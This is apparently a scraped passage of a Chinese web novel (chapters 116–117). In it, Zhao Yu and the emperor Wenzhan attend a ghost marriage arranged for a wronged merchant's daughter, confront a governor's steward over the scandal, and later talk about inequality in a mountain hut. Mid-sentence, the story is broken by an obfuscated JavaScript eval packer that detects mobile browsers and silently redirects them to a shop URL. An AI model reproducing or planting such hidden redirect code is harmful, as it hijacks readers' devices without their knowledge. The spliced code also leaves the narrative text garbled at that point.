玉芳笑着说,“呦,公子久居深宅大院,府中家教严,想必没看过话本,也听不了多少戏,自然不知道这些。所有故事传说当中,皇帝一定是老爷子,这样才能显示德高望重,开口说话就是一言九鼎,随便就能以德服人。” 文湛,“……” 赵毓连忙岔开话题,“姑娘和您那位老相好这次来岐山,有什么难事吗?需要我帮忙吗?” 玉芳叹口气,“事情不好做,但是,也并不需要打扰赵老爷。” 赵毓,“怎么?” 玉芳说,“我的那个老斗姓水,是个做米面油生意的商人,原配太太生了一儿一女就死了,如今他那个儿子也娶了媳妇,两口子都在家里的铺子帮忙,日子过的平顺。就是这个女儿,长的如花似玉,可是这命,……,哎,……” 此时伙计把饭菜都端了上来。 玉芳伺候人习惯了,一见伙计放好碗筷就开始布菜,赵毓把东西从她手中拿了过去,“您是客,这些事怎么能让您做?我来,我来。” 玉芳看着赵毓忙活,他那个小白脸也帮着打下手。 她原本以为自己不习惯。 毕竟赵毓身份尊贵,就算自己做生意都做不到人家身上去。这位元承行的主人平日喝花酒找的女娘都是北城书寓那些先生们,倒茶一盏也要三两银子。她与平日陪赵毓酒的先生们的身份差异有如云泥,更不要说自己同赵毓相比了。 结果,玉芳发现,面对赵毓的款待,自己竟然没有一丝半点的不自在。 此时的她,就像还是北村那个农家丫头,拥有着没卖彩礼、待价而沽时候的矜贵,到邻家做客,被主人家热情款待的理所应当。 玉芳不是未经世事的黄毛丫头,她久历风雪,知道此时的融洽相处不是她为人贵重,而是赵毓此人做人做事极为漂亮! 饭菜吃了几口,玉芳说,“老水家的姑娘原本嫁给雍京守备府的三姨娘生的小儿子,结果,夫婿想要往上爬,就把老婆卖给了徐绍徐总督家的小儿子。那个三姨娘生的小杂种倒是得了一个好差事,水姑娘脏了身子,夫家不要了,就要赶出门。老水的老家就在直隶,族里知道这件事的底细,族长嫌水姑娘做了伤风败俗的事,无论老水怎么求,死活不让姑娘回娘家,这么,两下子一逼,姑娘上吊了。” “徐总督家的小儿子出手阔绰,水姑娘伺候他的时候得了不少金银珠宝,算算也得有一千两银子,她死后,也都归了夫家。那个三姨娘生的小杂种毕竟占了礼法的理,他是水姑娘的正经夫婿,光明正大的拿了这些,还要嫌弃老水家教不严。老水为了姑娘过得好,砸锅卖铁置办了二百两银子的嫁妆夫家一丝半点也不退。哎,真是杀人放火金腰带,修桥补路无尸骸。这个小杂种倒交了好运,升官发财死老婆,三样全占了。” “老水就可怜了,只能求爷爷告奶奶一般才能把姑娘的尸身求回来。水家的祖坟不让埋,他听说岐山这边风水好,地杰人灵,就想着给姑娘在这里买块地,又或者在这里寻个人家结个阴亲,好让姑娘正经下葬,得一些香火供奉,不至于做孤魂野鬼,来世托生个好人家,遇到个好夫婿,不要再像这一世这样的苦命了。” 文湛听着,将手中的茶盏放在桌上,也许手劲大了一些,有些响动。玉芳叹口气,反而劝他,“公子别气恼,这也是没法子的事。” 文湛,“苦主为什么不去告官?” “告官?”玉芳,“那也要有冤屈才可。” 文湛,“没有冤屈吗?” 玉芳,“冤屈哪里来?” “水姑娘吗?那个女娃死的是很惨,可她是失节自尽,与人无尤。” “老水有冤吗?他现在背着教女无方的罪名,整个水氏都以出了这么一个闺女为耻辱。听说,他们族里有几个女娃的婚事原本都是板上钉钉的事,都是不错的人家,就因为老水家这事,男方都退亲了,这几位姑娘无辜不无辜?要不是老水平时多做善事,族长现在想要把他也扔出去。” “这事要怪谁?” “水姑娘的夫婿?那个三姨娘生的小杂种可是整件事的始作俑者,也是最大的受益者,他卖了老婆,升了官,发了财,可这些事情都是合乎礼法的。老婆是他的女人,生是他的人,死是他的鬼,由着他作践。” “徐总督府的那个小儿子?人家徐小公子可没有强抢民女,是这民女的夫婿亲手送上门的。人家为人四海,出手阔绰,给了水姑娘一千多两的黄金珠翠,够在雍京城买两个宅院了,这难道不是一种仁至义尽?” 赵毓给文湛夹几筷子他能入口的吃食,“快吃,这块八宝鸭还挺香的,你尝尝。”吃过饭,玉芳写了个话本的书单给赵毓,又说自己就住前面的“往来客栈”,明天一早,应该就跟随老水去为水姑娘下葬。 她走后,文湛看着她的背影,忽然来了一句,“这个女人不简单。” 赵毓,“她曾经是申府的妾。” 文湛,“申府?哪个申府?” “大郑还能有几个申府?”赵毓,“自然是申国公宋夷简府邸。” 宋夷简的画像入了凌烟阁名臣塔,这是凤化初年的进士,放榜就得了实缺。他本人累任湖南元化县令,嶷山知府,提刑按察使司。后来因缘际会,他在任上平定湖南“十八寨太子叛乱”而升任湖广总督。随后,宋夷简因镇守南海的战功而被先帝超拔为“大郑一等申国公”。数年前,这位名臣以将近九十岁的高龄去世,内阁定谥号为“文靖”,配享先帝庙庭。 赵毓,“宋夷简当年极宠玉芳,让她夜里侍寝,白天在书房伺候笔墨。这姑娘极聪明,书也是那个时候读出来的。老头子镇南海的时候,身边就有玉芳,据说,当时就连夫人都要看她的眼色行事。要不是她私通三房的孙少爷怀了肚子,老头子也不会恩断情绝把她卖出府邸,给了一个卖烧饼的武大郎做老婆。” 文湛不是醇儒,不会迂腐到笃信“寡妇饿死事小,失节事大”。 在他看来,森严礼教有可取之处,毕竟有教化万民之功,可是,也有容情,也有例外。 比如,他认为“刑不上大夫,礼不下庶民”,勋贵王公以及士大夫家族的女子一定要恪守礼教,以身作则,成为表率。而那些贩夫走卒、引车卖浆之家的女子,因为活命艰难,则可以容情。至于那些身在贱籍的女子,因为风月之事是人家活命的伎俩,自然不能以礼教苛责。 所以,文湛开口则是,“这位玉芳姑娘如今做生意,为了活命,不能苛责。可她之前毕竟是名臣之妾,侯门公府有规矩,自然要遵守。她不恪守妇道,做出私通有孕这样的事,的确不好。” 赵毓则说,“当年绮罗也这样说过我。” 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“饮食男女,人之大欲。这是天性,灭不掉。况且,礼教对于男女的约束是不一样的,对男人,宽容至极,而对女人,则动辄则咎。比如水姑娘的事情,外人匆匆听来只觉得这里面有冤屈,可细细一想,却找不到冤屈在哪里,根源就在这里。礼法与世情、与天理,有些时候,并不相容。” 文湛,“方才有些话,我不好出口。先不说礼教,水姑娘这件事,的确有大问题。” 赵毓,“什么?” 文湛,“徐绍的儿子与水家的女婿私相授受,卖官鬻爵,这是重罪。” 赵毓笑了,赶紧给文湛又夹了一条鸡腿,“这种事情,可不是玉芳与我,此等草民应该操心的事情了。” 赵毓想着,既然遇到了玉芳,也知道了这件事,为了那个无辜的水姑娘,他想要去送一份奠仪。于是晚上,他们没有回岐山深宫的皇家行宫,也宿在这个镇子上。 翌日,天不亮,赵毓就起身,吃过早饭与文湛去“往来客栈”寻玉芳,正好堵住将要出门的她。 “老水夜里没回来。”玉芳招呼他们,“事情已经办妥当了,今天就下葬。” 赵毓,“是买了墓地,还是,……” 玉芳带他们向前走,边走边说,“老水给姑娘结了一门阴亲,夫婿是个年轻的后生,还没有说亲,读书虽然不成可家里有田有地,是清白人家。一日出门,因为口渴却没有带水囊,喝了一条河的生水得了伤寒,就这么去了。老水挺中意的,那一家听说这边是个年轻的媳妇,也甚是满意。这边的风俗也一样,人这一辈子,要是生前死后没有成家,就算入了祖坟也是孤魂野鬼。那后生的父母为了给儿子配阴亲,问遍了十里八乡,除了一些早已经化成枯骨的老尸,就是惨遭横祸,死无全尸的,看着就有大凶之兆,实在不敢放在他们儿子棺材中,一同下葬。” 文湛第一次听到这样的民俗,不便插话,赵毓则回应,“这是好事。呃,……,算是吧。” “好事。”玉芳,“到了。” 距离“往来客栈”不远,有村落。一叠一叠的房子,被笼罩在清晨的水汽烟雾中,竟然有些文人水墨的诗意。 一个院落,不小,像是办喜事,摆满了红色。这里就是水姑娘死后再嫁的那户人家。这结阴亲与凡间活人成婚,大抵一样,“六礼”不废,一曰纳采,二曰向名,三曰纳吉,四曰纳征,五曰请期,六曰亲迎。只是,过程简化了许多,并且,院子正中停着两口蒙上红布的棺材,让这喜气洋洋当中平添了几分诡异。 老水也在,他是个平整精瘦的中年男人,乍看上去,似乎也是喜上眉梢的,仔细再一看,眼角带着苦相。也对,这一场悲喜剧,让人摧心肝。赵毓送了奠仪,又加了一份喜钱,就被请到里面喝茶。水家没人过来,可男方家中亲朋好友来了不少,女人都在干活,收拾青菜豆腐,准备“喜宴”,而男人们都在一起喝茶抽旱烟,随便聊着天。 赵毓与文湛一进后院,就瞧见一个人,五六十岁的年纪,坐在院子中的木垛上,拿着一个簸箩,正在拣枣和莲子。他身上是深褐色的长衫,看着像个高门大户的账房先生,可是衣服的料子却是极好的,都是湖州那边缎子,这一身,怎么算起来都是小户人家一年的菜钱。 “呦。”赵毓慢慢踱过去,声调有些阴阳怪气的,“徐大管家,哪阵阴风把你从徐总督府邸吹过来的?” “赵将军。”那人见避无可避,连忙站起来,“多年未见,您老人家好呀!我看您身子骨挺硬朗的,怎么,您到岐山来溜溜马?我听说您现在生意做的大,想必又得了不少好马,当年在西边,您爱马如痴,可是出了名的。” 这个人,就是徐绍府邸的大总管,徐造化。 赵毓,“我倒不遛马,我来岐山为了赶集,买些荞麦面,这里的东西比雍京城便宜,还更好,只是没想到碰到玉芳,就知道了水姑娘的事,过来送个份子钱。徐大总管,您到这里是做什么?怎么,你们家小爷逼死人家姑娘,现在把你发过来,是要仔细瞧瞧人家到底死没死,顺便再帮忙压一下棺材板?” “这事儿一会儿我跟您慢慢解释。”徐造化眼睛却一直看着文湛,他知道赵毓与元承行的事,也知道自己府邸那个不让人省心的小爷与赵毓前一阵子差点结了恩怨,可是,他同样知道赵毓身边带着一个小白脸,满雍京城乱晃,却无人知道根底,今天第一次见,他得问问,“赵将军,这是哪家的王孙公子,看着眼生。” 赵毓,“不告诉你,怕说出来,吓死你。” 116. 116 116 徐造化知道赵毓不会说实话,他也只是问问,俗话说“张口三分利”,“有枣无枣打三杆子”,万一赵毓心情好一些,没那么防备,也许就告诉他了这个小白脸的真实身份也未可知。 于是,他笑着说,“赵将军真会说笑。” “我可没说笑。”赵毓故作神秘,“我说的可都是实话,大实话。”随后,他一挥手,“行了,不和你扯这些有的没的。老徐,我记得你跟了徐总督之后才改姓徐,你原来姓什么?” “巫。” 赵毓转头对文湛说,“这是徐绍府上的大管家,老徐,徐造化。” 这个当口,徐造化却转身对文湛说,“这位公子,赵将军与我们家大人是旧相识,我不敢高攀,可也算是与赵将军认识多年了,所以说话也就随便些,您别见怪。” “别,别,别!”赵毓连忙摆手,“是我不敢高攀才是。我现在可是平头老百姓一个,不敢同徐总督攀什么旧相识的关系。人家可是镇守北境的柱国栋梁,圣——眷——正——隆!” 一个咬牙切齿的“圣眷正隆”把徐造化说的全身发毛。他赶忙说,“这都是圣上的隆恩。我们大人每日总是很惶恐,兢兢业业,不敢有丝毫的懈怠,唯恐辜负圣恩。” 赵毓却森森然咯咯笑着说,“老徐,你们家小爷睡了人家雍京守备府用大红花轿抬进门的明媒正娶的命妇儿媳妇,这本身就是雍京一景,再来,居然还能给人家那个王八夫婿谋了个差事,据说还不错,让守备府千恩万谢,没想到这位小爷平日里行事荒唐,这卖官鬻爵的营生倒是无师自通,想来是徐总督虎父无犬子。我就是觉得奇怪,怎么着,现如今,兵部都姓了徐不成?” 赵毓一贯厉害!此时他这一番话,连捎再带,连敲带打,把徐绍“纵容儿子霸占朝廷命妇、卖官鬻爵”的罪名直接扣下,如果不赶紧辩驳,言官得了信,上本弹劾,都察院一旦介入调查,压实罪名,总督的仕途就全毁了。 “不能这么说啊,赵将军!”徐造化赶忙说道,“霸占命妇,卖官鬻爵,罪名太大,徐家可干不出这种事!” 赵毓只是笑。 文湛听着却微妙的动了一下眼神,他那双极清俊的如同鸦翅一般的眉,显出几分剑锋一般的凌厉。 徐造化全身却又是一毛,有一种不详的压迫感,进而生出本|能的恐惧。一切都是没来由的,他稳了稳心神,不由自主的晃晃脑袋,把这些乱七八糟的东西统统甩掉,才说,“赵将军,我们小爷年纪轻,不懂事,外边传说什么他给守备府公子找个上好差事这件事,其实都是小孩子嘴上无毛,随口乱说的。您要是不相信,可以回雍京探探,绝无此事!再说,有您坐镇雍京城,谁敢动兵部的主意?” “我同兵部有个甚关系?”赵毓一乐,“怎么又扯到我身上来了?老徐,你可真是生了一张好嘴。” 徐造化则说,“赵将军息怒,息怒。我说过要同您慢慢解释,您得给我个开口的空子不是?”他缓了缓,开口,“我们家大少爷从北境回来了。他可不是私逃,而是正经的进京述职。” 赵毓,“徐玚?” “是。”徐造化,“大少爷一回府,就把小少爷住的院子封了,上了链条大锁,钥匙也扔了,如若以后要开锁只能锯断链条。现如今,府里每日只准后厨做饭送进去,再不许小少爷出来。” 赵毓,“你们那位夫人爱子如命,她甘心?” 徐造化,“甘心不甘心,又能怎么着?大少爷已经将她送到农庄,严加看管。” “把嫡母开缺?”赵毓,“徐玚这事做的十足地道。” “还不是我们老爷主意定了,旁人无力回天。休书已经写好,也由大少爷一并带了回来。没法子,守备府少夫人这件事,我们小少爷做的太过分。他年轻,平日里夫人过于娇宠,不教导他明辨是非,让他恣意妄为,这才惹下此等祸事,老爷再不舍,此时也只能壮士断腕了。如今我们府中的中馈是大少奶奶主持,原先那位夫人,也要等老爷有空回雍京,再商定去留。” 赵毓,“徐总督果然是徐总督!手起刀落,半点不含糊。我只想知道,疼不疼?” 徐绍这么做,可真是“壮士断腕”。囚禁幼子,休掉嫡妻,停掉自己儿子倚仗着自己的名声而给人家找的差事,都是雷霆手腕,一下子就把身上最难洗刷的“纵容儿子霸占朝廷命妇、卖官鬻爵”的大罪洗的一干二净。尤其是“卖官鬻爵”!这才是令皇帝最无法容忍的一点。只要他在这件事上脱了干系,以后就有可自辩的余地。退一万步讲,就算东窗事发,徐绍也能得到一句“工于谋国,拙于治家”这样毁誉不明的评语。 官场上人与人之间的关系一向复杂,谁也不知道今朝谁下狱,明朝谁得势,破袄紫蟒,只在转瞬之间。只要不是“谋朝篡位”,又或者“通敌叛国”这样诛灭九族的大罪,其他的事情,同僚之间都知道应该怎么做,——能缓则缓,能圆则圆。 徐造化,“人非草木,怎能不疼?可是,……,哎,赵将军不瞒您,我们老爷的日子也不好过。镇守北境,整个大郑北地防御这千钧担子就落在我们大人一个人的肩上。赵将军也是带兵之人,自然知道,朝中多少双眼睛盯着,各种鬼蜮心思,各种暗室之欺,实在防不胜防。还有那些清流言官,大多是书生意气,夸夸其谈,没在地方做过事,不知道其中的艰难,总以为自己在纸上挥毫泼墨,不动粮饷兵马,就能保边境平安,所以总是抓到一星半点的小事,就旁征博引、滔滔宏论上本参奏。我们大人想不辜负圣恩,想做事,首先,就得要让自己活下去。” 赵毓走了两步,看到簸箩,“枣和莲子?老徐你这是做什么,你还想着躺棺材中的两位新人早生贵子?” “唱戏,就得唱全套。”徐造化,“既然是喜事,就得按规矩来。” 赵毓笑的意味不明,“你唱的哪出折子戏?” “大少爷差遣我过来,是为了帮水家老爷全后事的。”徐造化说,“那个守备府究竟是个什么态度,我们不管,可是,我们家小爷在这事上铸成大错,徐府不能不管。大少爷让我带了一千两银子过来,买地,发送,一应事宜,我们徐家善后。” 赵毓,“拿钱买命?” “不是。”徐造化摇头,“我们也是顺着水家老爷的意,他定主意,我们照做就好。现如今是他想要给水姑娘再找个夫婿,配个阴婚,我们就帮忙。男方的父母原本不中意水姑娘,嫌弃她并非完璧,是我把这事摆平的。” “这家人姓江,祖上也是读书人,儿子是独子,他死后族中以这一房断子绝孙为理由要收土地,老两口和一个十三岁的丫头就得流离失所。我出面把土地给人家保了下来,族长也卖我面子,同意江家把土地给女娃,以后做招赘女婿的基业或者陪嫁出去,都由江家人自己定主意,其他人不得干涉。江家人受了我的恩惠,立马同意水家老爷提的亲事,把水姑娘棺椁以正妻的身份抬进来,葬入祖坟。” “还有,水家的事情,大少爷也找人善了后。水家族中被退婚的另寻觅佳婿,觉得声誉受损的,我们徐家登门道歉。另外,大少爷又出了不少银钱,为水家另外置办了一些田地,都交给水姑娘的哥哥。水家老爷毕竟还有这么一个儿子,看在他的份上,也就不与我们一般见识了。” 赵毓觉得眼前这出折子戏咿咿呀呀,唱的人委屈,听的人不快,说不清楚是悲是喜。 戏台上分两种人,活人与死人。 活着的人,个个圆满;死去的人,一人一个披着红绸的棺材,躺进去,埋进土,也是为了活着的人圆满。 徐玚做人做事十足地道。经过他手这么一料理,就算再牙尖嘴利的言官都挑剔不出什么。俗话说“做人留一线,日后好见面”,如果不是与徐家有世仇的人,普通政斗,绝对不会做到冲进人家后院,把已经被自己兄长圈禁的幼弟再揪出来的地步。 还有,北境撤藩在即,那是军国大事,徐绍肩负守边重任,圣眷正隆,如果仅仅因为他的小儿子惹了这么一场风月是非而被为难,甚至被撤换调回雍京,实在不是明智之举。 赵毓知道,文湛绝对不会这么做。 天理公义。 冥冥中已经标识了价格。 佛陀说众生平等。 如今看来,众生只能在死亡面前平等。 徐造化知道赵毓此人极为难处,偏偏却又极重要,心思诡秘。他怕有些话没有说透,给徐家留下祸端,以后麻烦。于是,他又开了口,“其实,从这事情的源头看来,水姑娘不适合做守备府的儿媳。” 赵毓刚要走,一听,就停下,“怎么说?” 徐造化,“水家老爷是商贾,如果他挑女婿的时候不想着攀附官家,只是找一个门当户对的后生,日子会平顺很多。守备府是四品武官门第,府中嫡子早已经定亲,水姑娘能嫁的人只能是庶出的儿子。他们家的三姨娘不是很得宠,儿子自然不会有什么好姻缘,这母子两个贪图水家老爷给的几百两银子的陪嫁,就应了这门婚事。又因为双方门第差太远,水家老爷也探不出准女婿的为人,只觉得世袭武官家族,怎么也养不出狼子野心的东西来,这么稀里糊涂就把闺女送过去,再稀里糊涂的,就怎么葬送了。” 赵毓笑着问,“老徐,我听你的意思,这水姑娘落到这步田地,不是他夫婿狼子野心,奸诈狠毒;也不是你们小爷,卑鄙无耻,狂浪无德;更不是你们徐府以权势压人,你们大少爷拿土地买人命!反而是她和她亲爹两个攀附高门,结果德不配位,咎由自取?” “怪不得我表哥崔珩总是说,咱们大郑的忠臣良相们,一个一个,对于国计民生,不太在意,或者不太善于在意,而对于自己的荣辱得失,却十二万分的在意。我原本以为他过于偏激,现在看来,他说的也有几分道理。老徐,你觉得呢?” 徐造化忽然一惊,陡然明白,——自己彻底把赵毓惹毛了。 他张了张嘴。 赵毓还想和他再“聊聊天”,却忽然感觉肩膀上一热,是文湛的手,“天色尚早,我们上山走走。” “好。” 赵毓不再理睬徐造化,他被文湛牵着手,走到前院,便掐三根线香,冲着水姑娘铺着红绸的棺材拜了拜,随后,他又用自己的袖子把棺材上的浮土扫了扫,这才把线香插|入香炉。今天没风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728974|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,线香燃了起来,烟细细的、袅袅的,升上天空。 玉芳在前面招待人。 她看到赵毓,就辞了众人走过来,“赵老爷这是要走吧。” “对。” 玉芳,“您的心意,逝者在天之灵,……,呃,如果有的话,一定会感恩的。” 赵毓忽然笑了,“应该没有吧。” 玉芳也笑了,“也对,人死如灯灭。其实,我不应该告诉您这事。世上有许多的委屈,不公,悲欢离合,生离死别,我们这种性命如草芥的人,只要活下来,这些东西经历多了,也都习惯了。您是贵人,见的不多,听的也不多,一时感怀也是有的,可是,别往心里去。” 赵毓,“为什么?” 玉芳,“伤神,也伤身。” 赵毓,“多谢提醒,我记住了。呃,那个,有件事,可是,……,我不知道这件事,适合不适合我说,不过,你儿子秦冀的功课,这个,……” 玉芳,“是不是他在学堂捣乱?您实话实说告诉我,我回去打断这个小兔崽子的腿。” 赵毓,“不是!秦冀在课堂上很用功,只是,我觉得他以后课业会越来越重,需要一个安静读书的环境。姑娘您是做生意的人,院子中每日歌舞升平,我怕,……” 玉芳,“我早就给他另外置办了一个小院,距离我那里不远,可也不近。您放心,很安静。”说着,她就笑。“自从您帮我摆平了城南何家,我的手头宽松多了,现在银价平稳,储银或是置备宅院都从容。如今到我那里喝酒的都是老相好,生意做了这么久,有感情了。赵老爷您别担心,我挺好。” 玉芳当年的处境,只怕比水姑娘更艰难。 可是她挺过来了。 即使,不被世俗相容,她也依然挺过来了。 不知道怎么了,赵毓忽然想起来当年在草原时候的情景。金顶大帐中有两桶牛奶,每一个木桶中都爬进去一只耗子。其中一个木桶中的耗子就这么安静的淹死了;而另外一个木桶中,那只耗子在不停的挣扎,不停的攀爬,它用命在挥动着四肢,终于,这只耗子把牛奶搅拌成了酥油,它自己竟然从木桶中活着,爬了出来,逃出生天。 水姑娘就像是那只安静的被牛奶淹死的耗子;而玉芳,则是把牛奶搅成酥油,最后能逃出生天的另外一只。 院门外跪着一全身素色衣裙的女子,“江大娘,让我进去为梓墨上一炷香。” 江梓墨。 牌位上的名字。 今日的“新郎官”,如果逝者有灵,应该是“鬼新郎”。 “你快走吧。”江梓墨的母亲站在院门边,死也不让女子进门,“如果不是因为你,我儿梓墨不会命丧,今日是他大喜的日子,也是他出殡大悲的日子,你要是还要一些脸面,就不应该再登门。你快走吧,不要再打扰我儿和他新婚夫人的清净。” 周围已经聚了一些三姑六婆,亲朋好友。 窃窃私语之声。 “她居然还有脸来?” “这不是江家小子那个青梅竹马吗?” “我前个听说,这个夏天,江家就要遣媒上门提亲,这姑娘就是江家未过门的儿媳妇,怎么不让她进门?” “还不是她恬不知耻的非要什么湖州来的丝缎?” “江家的小子为了她去雍京城。那种丝缎那么昂贵,傻小子心眼实诚,为了多给她带一些回来,连茶棚都不舍得进,只在河里取水喝,没想到被阎王爷勾了命。” “得了,这种事都是命,怪不得人家姑娘。依我看,此时江家不让姑娘进门上香,还不是看人家水家人的脸色?” “如今,江家能把田土保下来,还不是水家朋友给办的?江家怕放姑娘进门,把亲家老爷惹怒了,以后再有个什么变数。江家姑娘还小,没点家底,以后一家三口怎么活?” …… 赵毓听着这些,停了一下。 他的耳朵中飘来荡去的,像一团丝,也像一团麻。 忽然有个想法。 罗家没钱卖黄槿,因为弟弟需要留着做种;玉芳家把她卖进申府,给一个八十老头儿做妾,因为需要银钱给弟弟买地盖房娶媳妇;水姑娘的亲爹息事宁人,一个原因为了水姑娘能堂堂正正的埋进江家的祖坟,还有一个,就是他儿子得了田土。 这么看来,儿子似乎更金贵。 江家却不太一样。 如果当真逝者有灵,江梓墨上黄泉之前也许应该想要再看看自己心爱的姑娘,享一柱她亲手点燃的清香,再听听她的声音,也不想与一个素味平生的女子,披着红绸,棺材前以白纸写着“百年好合”“早生贵子”“子孙满堂”“大吉大利”,埋在一起。 可是,为了给家中的女儿,也是为了给全家留下活命的田产,儿子的心意,儿子的想法,儿子的愿望,甚至是儿子的尸身,其实也都不算什么。 原本赵毓以为因为儿子拥有对土地不可争辩的继承权而金贵,现在看来,也不是那回事。 土地,才是主宰。 那么。 我们活在天地之间,究竟是土地拥有人,还是人拥有土地? 117. 117 117 山中有一小屋。 没有上锁。 门外有几株桃花,院子中还有一些杂草野花,再远一些,则是丰茂的水草,一条流动的清溪,可以饮马,如果眼神好,还可以看见游鱼。 这里是山中猎户的一个休憩之所。 这里主人不明,却有还算干净的被褥,储了一些米面和干肉,还有山货与盐。想来,只要进山的有缘人,都可以在这里打个尖。赵毓早就准备好了一小块碎银,放在木桌里面的旧瓷盘中。 日薄西山。 文湛拎着木桶从溪水中取水。赵毓则捧着一个瓦罐,里面装着从山下买的野蜂蜜渍的野果子蜜饯,坐在院子中的木墩上,一个一个的吃着。他见文湛拎着木桶上来,头发没有扎严实,漏了一绺头发在鬓间,显得异常卖力气,就喂了一颗蜜饯到他的嘴巴中。 文湛把水倒入水缸中,“怎么,不生我气了?” 赵毓奇道,“我怎么舍得生你的气?” 文湛又被喂了一颗蜜饯,有些口齿不清,“看你白天的时候,说到徐绍,左一句圣眷正隆,右一句圣眷正隆,字字咬牙切齿,恨不得找个什么人来敲骨吸髓,难道不是你认为,他的位高权重其实全部来自今上的信任?” 赵毓却摇头,“这同你又有什么相干?他徐绍是朝廷的重臣,又不是你的私交。” 接着,又是一颗蜜饯进了文湛的嘴巴。赵毓边喂边说,“徐绍这个人,我在西北就认识。说实话,对于和他面对面的交往,我比你更熟悉一些,即使他圣-眷-正-隆。他能到今天这一步,也是自己用命拼出来的。只看他儿子徐玚处理水姑娘这件事的手法,就知道此人不但精通人情世故,还有常人难及的果决,确实是难得的帅才。此人镇北境,只要没有分裂土地的野心,我想着,无论撤藩过程中有什么动荡,他都扛得住。” 赵毓的手指上都是蜜,有些粘,他把瓦罐放一边,想要找个木盆什么的弄些清水洗手,却找不到。 文湛把新提水的木桶放他面前,“就在这里洗好了。” 赵毓有些不忍祸祸,“那不就弄脏了一桶新水?” 文湛却说,“怕什么,我再提就好了。”说着,他握住赵毓的两只爪子,按入水中。赵毓洗干净手,文湛还拿着布巾给他一根手指,一根手指擦干净,赵毓炸着两只爪子,看水桶里面,忽然笑起来,“文湛,你快看,是桃花!” 水面上漂着两朵桃花。 虽然粗粗看上去,都是几重粉色的花瓣,细嫩的花蕊,其实再仔细看,却不太一样。 一朵的花瓣更丰盈,而另外一朵,却有些白皙脆弱。 赵毓忽然开口,“文湛,你说,世上有没有一模一样的两朵桃花?” 文湛,“没有。” 赵毓,“呃,你怎么这么肯定?” “不止桃花,就连草木,动物,人,都一样,不可能有一模一样的。万物生灵都是天地的造化,又不是制造局精心打磨的弩|箭。”文湛说着就浅笑了起来,他,“即使是再精心打磨的箭,也会有细微的差别,人工手作尚且如此,更何况天地之间的鬼斧神工?” 赵毓,“既然世间没有一模一样的生灵,那么,有相似的吗?” 文湛,“相似的一定有,一母同胞的孩子,同一块土地的草,一条河中的游鱼,境遇都差不多。可是,即使是这样,也会有差异。比如,一母同胞的孩子因为天资、机遇不同而成就不同,谢氏就是明证。谢枯荣是吏部尚书,权柄可以制衡楚蔷生,而谢冬荣不过是一个教书先生,虽然有大名望,却没有实权,他看上去淡泊名利,也许只是聊以自|慰,这些就不足为外人道了。” 说到这里,文湛看了看四周,“承怡,你看看这片草地,靠近木屋的与靠近溪流的,就有很大的不同。这边的草有些细小,颜色也有些浅淡,而溪水边的青草则茁壮,并且颜色浓稠多了。至于溪水中的游鱼,……,我见屋子后面有个鱼叉,一会儿给你叉几条鱼晚上烤着吃。如此一来,将要被我叉住的游鱼就没有它同伴的幸运与机遇,因为,它的命到此为止了。” 赵毓看了看四周。初夏了,即使山中再冷清安宁,也有虫鸣鸟叫的声音,却显得山野林中更加幽静,文湛的话似乎让他看待这些的眼光变得不太一样。 他想了想,问,“万物的命运如此随意,如此无常,那么,佛陀说的那句众生平等,岂非一句空话?” 文湛,“承怡。你真的信佛吗?” 赵毓摇了摇头,却又点了点头,然后又想摇头,“我只知道父皇不信,别看他能通读《大藏经》,却真的不相信这些。我没有他那种修为,也读不下几本经书,我只是觉得佛法太广泛,太空茫,不过我不讨厌它。因为我觉得佛教适合带兵,比儒教更适合带兵。” 西疆十六国可以在大郑边境维战数百年,除了他们兵强马壮,男儿各个是好骑手之外,就是因为信奉佛陀,不被宗法桎梏,舍己出家。儒教把人圈在宗族之内,勇于公战、马革裹尸与侍奉父母、养老送终之间永远需要取舍,忠孝之间永远无法两全;而佛教则可以把人从这些牢笼中挣脱出来,出家就是无家,没有世俗的羁绊,没有家室的拖累,一个人就是一个人,因而极其适合组建军队。 赵毓忽然想到摇光所在的空镜寺,那里的僧人也都身怀绝技,看似与世无争,其实却是皇帝的一支私人军队。如此看来,战功赫赫的前宁王做主持,竟然最合适不过! 佛法所谓的平等,也许不过是把人从上下尊卑、宗法祖宗的控制当中释放出来的一种说辞。这个尘世有很多面。赵毓眼花缭乱,他有些不太确定,它到底是寂寞如雪,还是不寂寞如雪? “众生平等只是空话。”文湛轻笑,“人生来不平等,带着枷锁,这是活着的代价,也是天道。” 赵毓,“如此残酷的天道,就无可作为了吗?” 文湛,“不。” “承认它是一回事,漠视它,则是另外一回事。作为君主,身在帝座,手握政权,我没有漠视它的权利,绝不能任由这种天道肆无忌惮的扩张,就像绝对不可以漠视权贵肆无忌惮的凌虐百姓。” “水家一事,徐绍的幼子虽然不是罪魁祸首,却拥有不可推卸的责任,并且违背天理人伦,践踏了礼法,他们可以不畏惧国法,不畏惧同僚,不畏惧人言,却要畏惧都察院。言官有监察百官的权力,即使徐绍认为他们书生意气,不切实际,却无法忽视这种震慑。也许很多人以为他儿子这种风月官司不算大事,但徐绍为了自己的仕途官爵,也必须有所处置。当然,如果想要民间话本当中那些快意恩仇,以命抵命,却是不可能的了。毕竟,无论身为重臣的徐绍,还有重臣嫡子的徐玚、徐稚,都比水氏命价贵,这毋庸置疑。” 赵毓知道自己虽然也在毓正宫读书,但是,他不是储君,他读的书也许只同文湛读的有些许差别,可见识与想法,却是失之毫厘谬之千里。此时,他忽然想要听一听,身为“皇帝”而不是“文湛”的这个人,脑子中关于他一直疑惑、一直无解的那件事情最真实的想法。 赵毓高声说,“陛下,微臣想问道。” “好。”文湛把最后一桶水灌入水缸,“束脩是什么?” 赵毓把在文湛耳边边上,嘀咕嘀咕,咕嘀咕嘀。文湛的耳朵骤然变红,随后,这种红色如同有了自己的意志,迅速蔓延了原本玉白色的整张脸皮。以至于此时的皇帝就像是一个被蒸熟的大闸蟹。 “我们晚上这样弄弄,好不好?”赵毓嬉笑着,“陛下,这可比父皇的妃嫔侍寝要有趣多了。这些花样写在史书上,都是那些荒淫无道的暴君才能享受到的极乐之乐。我用这个做束脩,好不好?” 